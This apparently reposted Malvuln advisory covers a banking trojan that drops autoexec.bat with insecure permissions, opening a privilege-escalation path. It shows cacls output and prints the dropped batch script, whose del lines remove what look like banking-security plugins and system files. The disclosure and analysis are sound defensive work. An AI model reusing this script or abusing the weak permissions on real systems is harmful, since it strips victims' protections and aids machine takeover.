Trojan-Banker.Win32.Banker.heq / Insecure Permissions

CVE Category Price Severity
N/A CWE-250 $5000 High
Author Risk Exploitation Type Date
Unknown High Remote 2022-04-27
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Trojan-Banker.Win32.Banker.heq / Insecure Permissions
Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Trojan-Banker.Win32.Banker.heq
Vulnerability: Insecure Permissions
Description: The malware writes a BAT script file with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. 
Family: Banker
Type: PE32
MD5: f15d05f74899324ecb61ee29ad162fad
Vuln ID: MVID-2022-0561
Disclosure: 04/26/2022

C:\>cacls autoexec.bat
C:\autoexec.bat BUILTIN\Administrators:(ID)F
                NT AUTHORITY\SYSTEM:(ID)F
                NT AUTHORITY\Authenticated Users:(ID)C

C:\>dir autoexec.bat
 Volume in drive C has no label.

 Directory of C:\

04/13/2022  02:27 AM               636 autoexec.bat
               1 File(s)            636 bytes

c:\>type autoexec.bat

@echo off
del c:\windows\downlo~1\ABN*.*
del c:\windows\downlo~1\*ABN*.*
del c:\windows\downlo~1\GBPDIST.DLL
del c:\windows\downlo~1\scp*.*
del c:\windows\downlo~1\gb*.*
del c:\windows\downlo~1\*gb*.*
del c:\windows\downlo~1\*UNI*.*
del c:\windows\downlo~1\UNI*.*??
del c:\WINDOWS\system32\Logof.dll
del c:\arquiv~1\GbPlugin\gb*.*
del c:\arquiv~1\GbPlugin\g*.*
del c:\windwos\system32\snengine.exe
del c:\windwos\system32\snagos.exe
del c:\arquiv~1\Scpad\*scp*.??
del c:\arquiv~1\Scpad\scp*.*
del c:\windows\downlo~1\ATM*.*
del c:\windows\downlo~1\*ATM*.*
del c:\arquiv~1\Scpad\*ssh*.*
del c:\arquiv~1\Scpad\*ssh*.?

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